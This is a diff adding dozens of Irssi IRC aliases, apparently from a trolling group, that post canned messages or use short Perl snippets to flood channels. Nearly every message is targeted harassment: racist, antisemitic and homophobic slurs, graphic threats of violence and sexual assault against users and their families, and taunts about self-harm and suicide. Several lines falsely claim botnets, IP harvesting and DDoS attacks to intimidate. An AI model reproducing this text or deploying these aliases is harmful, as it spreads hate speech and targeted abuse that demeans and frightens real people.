+  blackman4 = "say Hello Sirs! My name is Tony Pierce, \002\037I am a THE BLOGFATHER.\002\037 My wikipedia entry was ruined by the GNAA. I get a boner every time I think about all the abuse i got from timecop. If you wish to support me in my quest for \002\037TIMECOP'S INTERNET RUINATION\002\037, please check my BLOGBUS at @ http://blogbus.on.nimp.org/tonypierce.php and help me \002\037TO RUIN TIMECOP.";
+  ballsac68 = "say \0034$*: you are a fucking nobody. you can't even flame, forget about real trolling. you are a classic case of a butthurt emo boi who now thinks he's trolling. the truth is, we are all \037laughing\037at you. To redeem yourself, \037die\017";
+  ballsac69 = "say $*: \037why do you claim to know penisbird? do you not think that everyone here would already know u if u were a troll of the calibre of penisbird? bluffing about who u know won't get u anywhere. instead concentrate on your basic cocksucking skills.\017";
+  ballsac70 = "say $*: u think this is a joke? u better start counting ur days cuz when i get da time ill come down where u live in poke ur mom with a spit and roast her while u suk my cok and ur dady eats my ass";
+  ballsac71 = "say $*: ill run a lawnmower on urmoms pubes until their smooth an sell her off to a nasty arab";
+  ballsac72 = "say $*: ull see whos the man when i slap you hard on the face and u get all emo and start cryin and then ill drag u out on the strt and laff at u in frnt of all other ppls lol ur so angry now i bet ur foaming @ mouf";
+  ballsac73 = "say \0038,4 $* died a dog's death. After months of running away from the nazis he decided to take refuge in a cave. Weeks of recycling his own sht caused his blood to get poisoned and he couldn't take it anymore. he liked rimming but even that has a limit. He decided to face the bullet instead of a slow death. On October 28, 2007, cvbe died a dog's death. He was chased naked and shot to death in front of 500 onlookers who laffed and spit on hid ded body. ";
+  gm = "notice #gnaa";
+  omg4 = "say \0034O\0039h, this \0034M\0039elon is so \0034G\0039ood";
+  l0deb = "say $* IS JUST ANOTHER E-CRIPPLE WHEN HE DIES HE WON'T EVEN LEAVE AN E-RIPPLE HE LIVED HIS WHOLE LIFE IN AN IRC FOG HE WON'T EVEN BE GOOGLE CACHED WHEN LIVEJOURNAL DELETES HIS BLOG";
+  gridse2 = "say \0034\037g\03700n \0037\037R\037elated \0038\037I\037nnanets \0039\037D\037DoSing \00312\037S\037ituation \00313\037/\\\\";
+  jbrown = "say $Z <$0> god; say $Z <$0> this chan fucking sucks";
+  bl2 = "say $*: i think he is the head of the dept \\;] THEIR IT DEPARTMENT JESUS CHRIST I DON'T KNOW THEIR FUCKING COMAPNY INTERNAL INFRASTFUCT reWWHAT TH EFUCK $*  IAM ABOUT TO SLIT THOUR THORA t HE HAS ALL HANDS ON ACCESS yOU NIGGER HE HAS SO MUCH ACCESS HE HAS THE MOST ACCESS ON THE ENTIRE INTERNET DO YOU EHAR ME $* over. ";
+  bl3 = "say check out $* over here aka mr. dramatic who just sharpened up his irc razors and cut his masochistic virtual self";
+  emodon = "say $Z <$0> i am.... trappped.......;say $Z <$0> in a dimension... of myself.....";
+  vxp = "say \002I HAVE: TIMECAT TIMEWYFE TIMEHOUSE TIMEBOX TIMECAR TIMEFACE TIMELINGUISTICAL_COMPETENCE_BASED_ON_PERSONAL_EXPERIENCES_AND_ANIMU LOL";
+  bl4 = "say check out $* over here aka. michael schumacher who drives his $16k used civic like it's an f1 car or a WRC rally car";
+  vxp2 = "say \002I HAVE: TIMECAT TIMEWYFE TIMEKID TIMEHOUSE TIMEJOB TIMEBOX TIMECAR TIMEMONEY TIMEFACE TIMEGNAA TIMELINGUISTICAL_COMPETENCE_BASED_ON_PERSONAL_EXPERIENCES_AND_ANIMU LOL";
+  bl5 = "say $*: mayne GET VAP0r TO UPDATE HIS OLD ASS FUCKING GHETTO MAN JUST WORK TOGETHER WHY ARE YOU TRYINGT TO SPEARATE T THEL OLS yOU FUCKING PAKI I AM GOING TO SHANK YOU IN THE NECK yOU FUCKING PAKI I AM GOING TO SHANK YOU IN THE NECK you are SO GAY WHY ARE YOU TRY?ING SO HARD TO PUT A FINE LINE OF SEGREGATION BETWEEN OUR BONETs WH?EN THEY ARE ACTUALLY ONE OF THE SAME I HAVE SO MANY I AM BASICALLY Dr. CLUE CHRIST";
+  bl6 = "say $*: ~/assurancegroup/ee/themes/cp_themes\\$ hrm... oh. yeah.... uhhh.. nevermind..... that.... that is for a side business...................... \002\037SHUTUP OR I AM GOING T PACKET YOU";
+  vxp3 = "say \002HI I'M \037ZULL\037 AND I DO PO\002\037\00313,11\006\007S\017\002SESS: PROPER PUNCTUATION, IRC SHOVEL, PAIR OF EYES (ROLLING), 4.000 $ PER MONTH, \002\037\00313,11\006\007PROPER KNOWLEDGE OF ENGLISH GRAMMAR\017\002, \002\037\00313,11\006\007SMART AND COMPLICATED WORDS THAT I CONFUSE VXP WITH\017\002 LOL";
+  cp2 = "say $* cronazi fuck u muther fucker nazi jeben ti mater glupanje fasistikog da ti jeben hitlerovu majku sramotis svi hrvati jebeni";
+  pagga = "say IRC(tm): Spawning Perpetual Self-Replicating Blogscussions Worldwide";
+  ke = "say $*: go read a dictionary and learn to have emotions";
+  hrhr = "say \0034,8^_^\003 \0034,0NAZI ARAB HRAUGH OUT HROUD\003 \00311sieg heil ";
+  norge = "say \00311,2^_^\003 \0034,0PROJECTORLESS NØRGE LØRF\003 \00311LOL HY";
+  bl7 = "say $*: HOLY FUCKING SHIT THAT IS OLDER TAHN THE INTERNET FUCKING JESUS CHIRST $* GO ILL YORUSELF WHAT TH EFUCK";
+  efnet = "say $*: anyone that would join a channel called #I.TAKE.IRC.SERIOUSLY would probably do so, so it looked like you were trying to be sarcastic, trying to say, you don't take IRC seriously.. yet you bothered to join a channel so everyone could see when they whois'd them... pointing out that you do infact, take IRC seriously";
+  gamester = "say $*: i am intrestred in swimming and video games, and sports dun be forgetting the sports!! lol.. thats all for now";
+  gamester2 = "say i dont know why supers is so in love with $*";
+  bl8 = "say check out $* here who is adapting the behaviour of a 5 year old girl in the kindergarden";
+  bl9 = "say check out $* here over here who is sitting in front of $C humming his favourite track \"i'm as stiff as a bar because i have no emotions. heh. rolls eyes. blink. :-D\" in the most passive-aggressive manner";
+  gamester3 = "say $*: HELLO PASSIVE-AGGRESSIVE-SUPPRESSIVE-EVASIVE-EMO-FAKE-PING-TIMEOUT-QUITTER";
+  zuul4 = "say Zuul was a demigod worshipped by the Hittites, Mesopotamians and the Sumerians. Zuul was the minion of Nessun. At first Zuul posessed an oper on rizon, and later it posessed the body of Lec, which was a much better choice. \"There is no $N, there is only Zuul.\"";
+  aznq = "say hi every1 im new!!!!!!! *holds up spork* my name is waawaa but u can call me t3h PeNgU1N oF d00m!!!!!!!! lol...as u can see im very random!!!! thats why i came here, 2 meet random ppl like me ^_^... im 13 years old (im mature 4 my age tho!!) i like 2 watch invader zim w/ my girlfreind (im bi if u dont like it deal w/it) its our favorite tv show!!! bcuz its SOOOO random!!!! shes random 2 of course but i want 2 meet more random ppl =)";
+  wp2 = "say $*: Your IRC message does not \002\037cite\037\002 any \002\037references or sources\037\002. Please help \002\037improve your IRC personality disorder\037\002 by adding citations to reliable sources. \002\037Unverifiable\037\002 material may be challened and removed.";
+  url = "script exec my (@bk) = (\"MAYNE STOP SPAMMING ME WITH THAT URL PAGGA SENT ME IT ALREADy\", \"oh let me check it out\", \"it's the first time i've seen that url\", \"one second\", \"oh let me see what's that all about\", \"i've been hearing about it\", \"oh give me a second.. i'm clicking it now, i'll let you know what i think after.\", \"is this new?? i haven't heard anything about it before.\", \"hahah that is a unique url, let me see what it's about...\", \"clicking: now\", \"wget mirroring: now\", \"no i was just providing strings what\")\\; Irssi::active_win->command(\"say $*: \". \\$bk[int rand @bk])\\;";
+  aigis2 = "say $Z <$0> fuck you $1- i dont need to take this shit you and your juden kike friends are a bunch of assholes i dont need the gnaa i hope you faggots rot";
+  nullo2 = "say [..............9299251488 bytes.................................];say +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-.;say | LOPL |  UTHP ringbuf      | rage count  | nullo-  | animu | pri |  |;say | HIEF | [\\;\\;\\;\\;\\;\\;\\;\\;\\;\\;\\;\\;]     | max is (tc) | hate: 0 |   0   | OOB |  |;say +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++_.'";
+  lek = "say $Z <$0> hey could you please stop trolling me alltogether i dont take irc serious but this is pissing me off wtf ever just dont come in my chans anymore you fucking asshole trolsl its all you care about";
+  evade = "say about $*: evaded faster than a young slim bk";
+  aname = "exec - -out perl ~/.irssi/scripts/stand/aname.pl";
+  burki = "say $*: do you think ppl argued when they hit wtc";
+  bla = "say check out $* over here who is a collection of 1. angry fury\\; violent anger, 2. a fit of violent anger, 3. fury or violence of wind, waves, fire, disease, etc., 4. violence of feeling, desire, or appetite: the rage of thirst, 5. a violent desire or passion, 6. ardor\\; fervor\\; enthusiasm: poetic rage";
+  chuf = "say $*: hello \002\037chufti";
+  incog8 = "say |_|¯';say ,_|¯|";
+  chuf2 = "say $*: hello \002\037chufti\017 \\;]";
+  arab = "say $*: hello \002\037rb6h a7tdm almdouneen bi l3arabeeh\017";
+  ragemc = "say rage-meter for \002$*\002\037:\037 \00314[\0034موت على شعية\00314]\003   \002\037\0034HOLY FUCKING RAGE RELATED TO RELIGIOUS ZEAL\017";
+  zuul5 = "say $Z <$0> \\;) *chuckle*";
+  zuul6 = "say $Z <$0> Tssk. \\;-D";
+  james7 = "say $*: hahahaha im just going to idle here so i can watch you guys drop dumb fucking nub you know who you are fucking with? any fucking clue? i will rape every mother fucking host in this fucking channel if you step at me you stupid faggot bitch i could kill half this fucking channel with one root man im killing your entire box with one fucking edu root you dumb mother fucker step at us step at us bitch we'll lay you in your palce";
+  dak = "say $*: you know, its only 4,700 bucks to make people dissapear ?";
+  james8 = "say $*: haha i could get your real ip ill just root your fucking box im not even going to bother i dont even care i dont need to fuck them up to know i can cause i already know i can ive wiped out entire groups on giges and stamis before them and there fucking awknet or what ever justedge shit is nothing to me";
+  arabtroll = "say GOOD DAY TO YOU GOOD PEOPLE OF \002$C\002. WE, THE \002\037ASSOCIATION OF RAGED ARABIC BLOGGERS\037\002 WOULD LIKE TO SEND YOU A WARM \002WELCOME\002 AND A \002FISTFUL OF HATE\002. IF YOU HAVE NOT HEARD ABOUT US BEFORE, PLEASE VISIT US ON \002\037IRC.DDOSCOM.IN #ARAB\037\002. THIS MESSAGE HAS BEEN SENT FROM \002TIMECOP'S BOTNET\002 WHICH IS CURRENTLY COLLECTING ALL YOUR IPS. YOU WILL BE \002DROPPED\002 NOW. GOOD BYE. ";
+  say = "msg *";
+  lol = "script exec my (@lol) = qw(heeHA loloOOLOLOL lolOLASLLOL ahahahHAHHAHAHA llllllllllllllllllllllllllllllllllllllllllllllllllllol :LOLOL hahahaahhaahahloooooool lllllllllllllllllloLL roFLFLEOFLOFLOFLOL loLARGoLalRFALoaHRGalOLWEWH AHhhaHAHAHAHAAHHAHAHAahahaHAHaHahhHAahehaeyeEUAEHhaeehaah loOllLOLOLOLOloloLOL hahahHAHAH haeHEHaehaHEaeuAHEuehaeuaEHAueahe LOLLolOlolOLolOLL bAWHAhawbaHWauwaHEHaueaehaheehA)\\; Irssi::active_win->command(\"say \".\\$lol[int rand @lol]);   ";
+  nullo3 = "say $*: WHAT THE FUCk HOW DARE YOU FUCKING BASTARD WHY ARE YOU SAYING THIS SHIT TO ME???? WHAT THE FUCK DID I DO SHITFACE IM JUST TRYING TO RELAX AND HANG OUT AND YOUR GIVING ME GRIEF LIKE 24/7 WTFHAT????? JESSUS CHRTIST";
+  blb = "say heh. Dessimat0r.... is your name Dessimat0r because like.. Dessiner en francais, is to draw??? and basically you draw, but you DECIMATE the drawings?? so you are like a DECIMATOR?? because you draw, but also mutilate the artform???? heh. :-D";
+  zuul7 = "say $Z <$0> dude we are on the frontier of a new troll group, doing something like a amssinvite is just lame, you need to step your game up and really broaden your horizons, i thought you and vxp were more creative heh :-D";
+  aznr = "say $*: omfg.  dude.  I can run your f*kn itunes through WINE faster than you can run it native.  im not hearing it.  you've got your head up your ass, and your iranian snatch don't know shit. and i've never had to recompile a whole system because i know how to use a fkn computer. damn niggers";
+  f1re4 = "say $*: wow talk about serious shit some more you faggots, go start a radio hour, or a blog, or talk to a fucking dog, this is gnaa not the rush limbaugh show goddamn im gonna kill myself";
+  ujah = "say UJAH IF YOU GOT COCONUTS ATTACK ME";
+  br8 = "say $*: u could have spoken better, i just asked a question, didn't anyone learned you how to speak?";
+  blc = "say $*: look its not hard, your isnt you're.. you're is YOU ARE. jesus. did you even make it out of 8th grade. can you even COUNT TO EIGHT, fuckin your an IDIOT.. and im sure right now your eaiting to CORRECT ME on using your in the wrong context now that i've TAUGHT YOU HOW TO USE IT OMG JESUS";
+  fosho = "say $*: fuck you i kicking your ass tommorow";
+  kaka = "say KAKAKA IS ONCE HAVE KITTY =^.^= AM EAT IT WIF SPORK N FRI LICE KKEKEKEKE ^^ MEOW MORE NOT! MEOW MORE NOT! WTF IS U ROUND-EYE SO U IS NOT HAVE KOREA SKILLZ FRO PASSIONATING U 44/KOREA/M KAKAK IF U IS LOVE MY KOREA BIG PENISEEE PRESS 4242 WILL RUV U LON TIME FRO KOREA TIME TO U TIME";
+  evade2 = "script exec my (@evade) = (\"well if you could be more specific about what you are asking for........................ it would help me answer.................\", \"THAt's WHAT I JUST SAID yOU FUCNIG ASDFIOOIT IIODT what i play piano so my fingers hit multiple keys at the same time while i type idiot my other fingers create the remaining CHORD of line noise.\", \"rpl america is fucked they just figured out that they are in a recessionn google is dwn \\\\\\$50 and nasdaq is down 3% evade?? wat are you talking about\", \"SORRY DONT KNOW IF YAWL BUY STOX MMMMMKAY???? \002\037I AM GOING TO PACKET YOU\017\", \"what you're just looking fat but like huge at the same time typical steroid body blogging out hopefilly they will put up elsdon.cn box soon cya pals.\")\\; Irssi::active_win->command(\"say elsdonesque evade detected in the vicinity of $0: $Z <$0> \". \\$evade[int rand @evade])\\; ";
+  fed = "say $Z <$0> Look POLICE, i fucking card servers, shells, ddos shit every day, hack into .govs. the day the feds come to my door, first words out of my mouth: finally. ";
+  zitroll = "say GOOD DAY TO YOU \002GOOD PEOPLE\002 OF \002$C\002. I DO \002\037NOT\037\002 WISH TO STEAL YOUR VERY \002VALUABLE\002 TIME NOR TO \002VIOLENTLY DISRUPT\002 YOUR PEACEFUL SHAT WITHOUT ANY GOOD REASON SO \002PLEASE\002 PAY ATTENTION TO WHAT I WILL TELL YOU NOW \002\037ABOUT VXP\037\002. I HAVE DUG \002DEEP\002 INTO HIS LIFE AND SUBSEQUENTLY DISCOVERED THE \002\037TRUTH\037\002 ABOUT HIS \002\037WRETCHED EXISTENCE\037\002. PLEASE VISIT \002\037http://truthaboutvxp.notlong.com/\037\002 FOR I HAVE COLLECTED ALL THIS INFORMATION FOR \002YOU\002 TO \002SEE\002.;say THIS MESSAGE HAS BEEN SENT FROM \002\037ZI'S BOTNET\037\002. THANK YOU. GOOD \002BYE\002.";
+  pagga2 = "say $*: i am eternally in love with you for \037trolling animunfo\037 \\;]";
+  white2 = "say when a white tries to bite a white takes flight";
+  azns = "say $*: there is palestine u asshole go fuck ur self bitch fucking pussy jews fight behind the tanks and a lil kid is facing a tank with a rock i wonder who is the man";
+  l0dec = "say does anyone else think it's funny that everyone who comes here to chat with the express purpose of trolling the gnaa (VXP, CVBE, countless others) winds up adopting the exact same personality as the classic lowest rung of oldschool GNAA trolls? (altise, other forgotten idiots)";
+  narc = "say \0034WARNING: \00313narcs \0039can \0038DANCE";
+  ke2 = "say $*: Inform you a lil bit befor u write so  a crap";
+  james9 = "say $*: ?????? im so fucking wasted if i coudl tel lyou you would tihnk im lioek wow.... LOLOLOL z0er0o fucking CLUIE f/ucK irC";
+  lek2 = "say $*: grow afucking pair... im so sickof u doing this to ur self. u think poeple dont like u and all of this people fuckin love u.people fucking care about u like me..u might not think that but its true... and ur being fucking stupid doing this...";
+  lek3 = "say $Z <$0> im going to quit irc start a new life i just wanted to tell you thank you for everything you\\'ve done from my heart im saying this i really enjoyed my time with you im starting a fresh new life i already told all my irl friends byebye changed my jewspace im going to cancle all my servers dropped my shells";
+  lek4 = "say $Z <$0> im sick of this.do what u want..i dont care anymore..i dont care about anything in this fucking life. im done haha youve wasted NO time on IRC you know how long have I been here? im 16 ive been here for 7 years if not more";
+  xaozon = "say $*: YOU FGUCKUNG FAGOT I WILL FUICLIN FOC FOF FAKO A FUCK YOU FUCKIN ASSHOLE FUCKIN SHIT BLOGGERFAGGER";
+  xaozon2 = "say $*: i bet ur a nerd and all ur friends r nerds n u never get laid so ahahaha u think i care if u kick me ?? haha no. u need to find god and accept jesus as ur personal savior lol tard";
+  vxp4 = "say $Z <$0> hello. my name is vxp and I like to suck dongues and eat poop. I also rape little kids and feed them to my blog. have a nice day!";
+  aznt = "say $*: your ass is so tight it forms negative energy.. matter around your ass is sucked in and destroyed, every last molecule, some say your ass could be a wormhole to another irc network.";
+  kafir = "say KAFIRS YOUR TIME WILL COME SOON, AND NO ONE WILL SAVE YOU FROM YOUR DOOM";
+  aznu = "say $*: wow arent you the biggest fag that ever came out of gnaa with your dick split in half like a mangled up lily wannabe from efnet you nigger faggot cp jap fagt youll get raped one day by the jizztapo";
+  why = "script exec my (@bk) = (\"all up in my grill\", \"grilling me today\", \"getting hyphy\", \"wildin' out\", \"putting salt in my flex\", \"comin' wrenk\", \"taking a piss on me\", \"gettin it twisted\", \"half steppin'\", \"trippin whats wrong with you............ u need to get your hed right\")\\; Irssi::active_win->command(\"say $*: why are you \". \\$bk[int rand @bk].('.' x int(rand(50))))\\; ";
+  ".." = "script exec Irssi::active_win->command('say $*'. ('.' x int(rand(400 - length('$*')))))";
+  ".c" = "script exec Irssi::active_win->command('say $*'. ('\003'.int(rand(15)).'.' x int(rand(400 - length('$*')))))";
+  ".b" = "script exec Irssi::active_win->command('say $*'. ('\003'.int(rand(15)).','.int(rand(15)).'.' x int(rand(400 - length('$*'))))) ";
+  aznv = "say $*: stfu noob what are you gonna do shoot me with your noob bullets rofl you have to hack to headshot me what a faggot nub";
+  care = "clear";
+  vxp5 = "say $Z <$0> i used to wear spectacles............... but due to being raised in the streets of germany and always dueling others in a game of fisticuffs i had to let that go...........................................";
+  cp3 = "say \002\037cp we are friends ok, i have known you for your whole life. why are you turning your back on me now after i've fed you and all your people for centuries.";
+  cp4 = "say \002\037I AM SO ANGRY RIGHT NOW!!!!!!!!!!!!!!!!!!!!! I HATE BEING CROATIAN AND WISH I WAS SERBIAN!!!!!!!!!!!!!!!!!!!! THATS WHY I AM RUNNING AWAY FROM MY COUNTRY!!!!!!!!!!!!!!!!! TO JAPAN AND THEN I GOT KICKED OUT!!!!!!!!!!!! NOW I AM IN AUSTIN, TEXAS SINCE THERE SURE IS A LOT TO DO THERE AND ITS AN INTERESTING PLACE AND ITS NOT BECAUSE ITS A LAST RESORT!!!!!!!!!!!!!!!!!!!";
+  cp5 = "say \002\037I remember Christmas when I was 10 years old.... We had cut down a tree but it was covered in ashes from the nearby factory... but this year was special still.. because we had one present underneath the tree.. for our whole family of 13 croat gypsy children.. we shared that Christmas Potato like it was the last one on earth.. all 13 of us. Poverty is tough.........";
+  cp6 = "say \002\037<babycp> \"Mom,\" I said with a look of excitement on my face \"what's for dinner tonight!??!?!?!\" My mother looked at me with sadness in her eyes, \"cp, the same thing we have every night - potatoes and cabbage.\" 20 years later, my life has not changed for the better yet but here's my still hoping I can eat meat one day!!!!!!!!!!!!!";
+  c600 = "script exec Irssi::active_win->command(\"say C600\". ('?' x int(rand(20))))";
+  twuni = "say $*: MAN WHERES THE JAPS TO SHIT IN YOUR MOUTH WHEN U NEED IT SHE POISONED MY DRINK, BUT THE WINE TASTED LIKE ACETONE SO I DIDN'T GET IT UNTIL MY VISION STARTED MORPHING PEOPLE THINK BURNS ARE LITERAL";
+  p0r18 = "say $*: i like how you answer without making me feel like shootin myself in the face without using garbage bags to cover up the blood";
+  tir = "say $Z <$0> \037\002\0034«\00315±\0034»\017 \002\00311I'm tired of being the victim of hate \0034\037«\00315±\0034»\017 ";
+  okey = "say Hello Sirs! My name is cvbe aka okey, \002\037I am a JEWISH SELF-TROLLING ENTITY\017. My mother was the first to show me the ways of abuse when she tried to abort me. I get a boner every time I think about all the rages ive had on irc. If you wish to support me in my quest for \002\037PERPETUAL SELF ABUSEN\017, please help to troll me @ irc.gnaa.us #gnaa and take \002\037FUEL MY SELF HATRED!\017";
+  jews = "say                                  ^;say                                  |; say                                  |; say                                  |; say                                  |; say                                  |; say                                  |; say <-------------------------------jew------------------------------->; say                                  |; say                                  |; say                                  |; say                                  |; say                                  |; say                                  |; say                                  v";
+  amit = "say \002\0039,9.\0036,9†\0039,9.\00310,10 \0039,10 ` \0039,9 \0031,9†\0039,9.\00310,10 \0038,10 Please, watch your manner of conversation.\0039,9.\0031,9†\0039,9 \017";
+  rucas = "say $Z <$0> every guy i hook up with ends up getting AIDS. i tested positive for HIV, so i think it was me. sorry guys, but maybe you should think before blaming it all on me. you could have at least used those STD testers on me first, so dont act like its all my fault. but anyways, sorry.";
+  damage2 = "say \026\002\0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ## \0038,0 ## #  #    EYE DAMAGE    #  # # ## \0030,8 ## #  #    EYE DAMAGE    #  # # ##";
+  crib2 = "say yo yall penispumphead for life whatever yall name is yall leave my boy sonic alone cause i aint with that bullshit he let my he let me know what yall been doin to him and if i have to come back and t-talk to yall yall is not gonna like this shit, you know what im sayin cuz thats old crip, crip gangstas you know gangstamamoth,... alright and i been hearin aboutchyall sendin people to ta sonics house i dont like that shit at all tho, i know yall some some punk ass racissts, muhhfuckaaz, thats why im talkin to you, i aint scared o f it, you know what im sayin so you just come my way you gonna be hurtin bad, so dont do nothin to him again (FUCK PENISPUMP) fuck last but not least fuck penis pump heads thats old gangsta crip dont let me have to come back again thats it movin";
+  cloud = "exec - -out echo $* | perl ~/.irssi/scripts/stand/cloud.pl";
+  cloud2 = "exec - -out echo $* | perl ~/.irssi/scripts/stand/cloud2.pl";
+  pign4 = "say $*: I have put you on a permanent ignore, public and private. I have found you disturbing, rude and generally not worth talking to. According to the technological products you purchase, it strengtens the effect of wanting to put you on ignore because of my lack of interest in you as a person and as a modern age consumer.;say This message is not meant to be rude to you, just to inform you that i won't see anything of what you type from now on.";
+  girl = "say hey girl, what kind of sex toys u into? im all about the waterproof vibrator / aneros / cyberskin / butterfly vibrator / dildo / butt plug / anal beads / erotic furniture / artificial vagina / sex toy / clitoral vibrator / nipple clamp / vibrator (sensual) / kegel exerciser / arab strap (sexual device) / strap-on dildo / double penetration dildo / clitoral pump / lovelump / sybian";
+  girl2 = "say hey girl what kind of oper abuses u into? im all about the unwarranted glines / 20 kills in a row / klines with no reason specified / gaysex";
+  girl3 = "say hey girl what kind of oper abuses u into? im all about the unwarranted glines / 20 kills in a row / klines with no reason specified / gaysex / bigmatix sendq / operwall whining / hidden pumping";
+  azng = "say $* you shut your face you nigger loving pile of intestinal feces, ill rip your bowels out and feast on them, then i'll impregnate your girlfriend and wait 7 months then unwravel her belly button and suck out all the vaginal discharge and feast upon the baby. i will fornicate your liver, then make you guzzle gallon after gallon of putrid diarrhea. you will gag on my green logs of asshole mud butter";
+  aznh = "say $*: You don't know shit about me or my life, nor do you know anything about my habits. I'm a normal person, and I'm proud of myself, unlike you, the basement dwelling, society leeching loser. Has your mom changed your diapers yet?! You're the one to be ashamed here, only you.";
+  azni = "say $*: ook ok u dont run this room ok u dont even know who i am if i were to ever encounter you in a real life situation i would lump u out ok and your girlfriend would be so impressed that she would immediately hold my hand and we would walk off into the sunset together ok so dont u think that u can try to bully me ok because u dont know what u signed up for ok because if u play with fire u are bound to get burned ok because i am hotter";
+  aznj = "say $*: you don't KNOW ME. i am a good friend, i pride myself on that. and it IS a chore, she shouldn't have got herself in this situation and it is her fault. it is like when a friend gets drunk and you have to look after them. it is a hassle and you shouldn't have to do it, but you know you will do it because you do that for friends.";
+  aznk = "say $*: god damnit why the fuck are you fuckers so fucking stupid as fuck? this place is shitty and you all should fucking kill yourselves like that faggot tourettes guy did. god oh god why in the fuck is this place still around and why the fuck do you fucking fucks keep putting me on faggot patrol holy fucking shit this is ridiculous i swear i fucking hate you all and you should die. gtfo. ";
+  aznl = "say $*: ur the gayest faggot in the world. ur a fake ass pussy with ur bb gun MP5 (with an orange barrel) not ak jackass. u just need to do us all a favor and shoot urself in the face with 12 gauge slug, goddamnit that shits hillarious with ur fake accent, get real and grow up little bitch";
+  aznm = "say $*: Things happen and we all learn from our mistakes... I don't see what the big deal is about bringing you out into the spot light for something that a lot of other people do... It isn't fair to you ... I think that you are an amazing person and good luck to the future and I hope that people just let it blow over...";
+  jedi = "say $Z <$0> so am I too old to say that I want to be a Jedi?  And is it wrong of me to say that one of the most rousing scenes in the movie was Anakin marching into the Jedi temple with all those storm troopers?  I mean, I hate the fact that he went there and killed all the children, but just that shot of him striding to the syncronized beats of the marching stormtroopers...";
+  aznn = "say \002WHY WOULD YOU DO THIS TO ME!?!?!?!?!?!?!?!?!?!?!?!?! GOD, I FUCKING CUT MYSELF TONIGHT CUZ OF YOU!!!! YOU FUCKING HAPPY NOW!?!?!?!?!?!?!?!?!?!?! I BET IT FEELS REAL GOOD TO FUCK WITH GUYS EMOTIONS DOESNT IT!?!?!?!?!?!?!?!?!?!?! I FUCKING HATE YOU!!!!!!!!!!!!!! BURN IN FUCKING HELL WHORE!!!!!!!!!!!!!!!!!!!!";
+  zuul = "say $*: you just don't get it, do you. you are all jokes. and i'm done with you. people know me, i'm sorta a big deal.";
+  blavk = "say \0034ya i like to awtch blackman and zoooulul fight";
+  gore = "say \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL GORE \002ANAL G";
+  putre = "say \0033,2\002PUTREFACTION OF ANAL CAVITIES \0035,4\002PUTREFACTION OF ANAL CAVITIES \0033,2\002PUTREFACTION OF ANAL CAVITIES \0035,4\002PUTREFACTION OF ANAL CAVITIES \0033,2\002PUTREFACTION OF ANAL CAVITIES \0035,4\002PUTREFACTION OF ANAL CAVITIES \0033,2\002PUTREFACTION OF ANAL CAVITIES \0035,4\002PUTREFACTION OF ANAL CAVITIES \0033,2\002PUTREFACTION OF ANAL CAVITIES \0035,4\002PUTREFACTION OF ANAL CAVITIES \0033,2\002PUTREFACTION OF ANAL CAVITIES \0035,4\002PUTREFACTION OF ANAL CAVITIES \0033,2\002PUTREFACTION OF ANAL C";
+  boger = "say $* has a degree in assfistology.��\0031,1���\0038,1boger for president 2008 \0031,1 vote often\003 \002\0034,5o\0030,5:\0031,1.";
+  boger2 = "say There are no niggers in the gay paradise of mexico.��\0031,1���\0038,1boger for president 2008 ����������\0031,1.";
+  oven = "say $* ---> :( |___| <--- oven";
+  oven2 = "say $* \002-> oven\002";
+  trogg3 = "exec - -out perl -e 'my @hy=qw(HY WELL KNOWN PACKET KIDDIE TROGG)\\; do { print \\$hy[int rand @hy].\"\\\\n\"\\; } for 1..25\\;'";
+  static = "say $*: just biding my time until your herion junkie ways cause you to OD and I don't have to deal with you anymore and neither does the world.";
+  megabeep = "/exec - -out perl -e 'print \"\007\\n\" for 1..$*'";
+  virus = "notice $C Attention: \"$*\" has a deadly computer virus, do not even talk to him as it may infect your computer.";
+  virus2 = "notice $C Attention: \"$*\" is a deadly iComputer virus, do not even talk to him as it may turn you into yet another worthless Mac iKike.";
+  usa = "say \0032DEATH \0030TO \0035AMERICA";
+  req = "say \0037**\0034BAN REQUEST\0038** \00311User: \0039$0 \0037* \00311Reason: \0039$1-";
+  pp = "say you guys do realize that your apart of the darkside of the internet that soccer moms want to keep their kids far away from";
+  pp2 = "say you're all white trash and stupid....pp4l tags? HA! come to L.A. and get caught by some essays in their varrio and watch your computer geek grotesque-image obsessed white *ss get killed f*cking comedy clowns get a life";
+  dick = "say Lil dick? nigguh ill dick slap u with my LONG ASS DICK hoe aint no one tryin to b black ovah hur u stupid ass fuck  u BETTER STOP HATING ON ASIANS  or ILL HAVE TO MAKE UR ASS BITCH";
+  mac3 = "say $Z <$0> This is why I think my next machine is going to be a mac. I.m just tired of having to do all this stuff for myself all the time. I mean really, why should I have to be an expert on CPU duty cycle throttling just to have a quiet computer? I mean shouldn.t the CPU and OS mfg know how to throttle down the CPU when there is no reason for it to be running flat-out?";
+  plenk = "say $* puts a whitespace in between the random collection of characters that he spews at $C and the question mark because he is \002\037special";
+  afig = "exec - -out echo \"$*\" | figlet | perl -ne 'chomp $_\\; print \" \0038\037/!\\\\\\\\\037 ALERT \037/!\\\\\\\\\037 \\$_ \037/!\\\\\\\\\037 ALERT \037/!\\\\\\\\\\\\n\"\\;'";
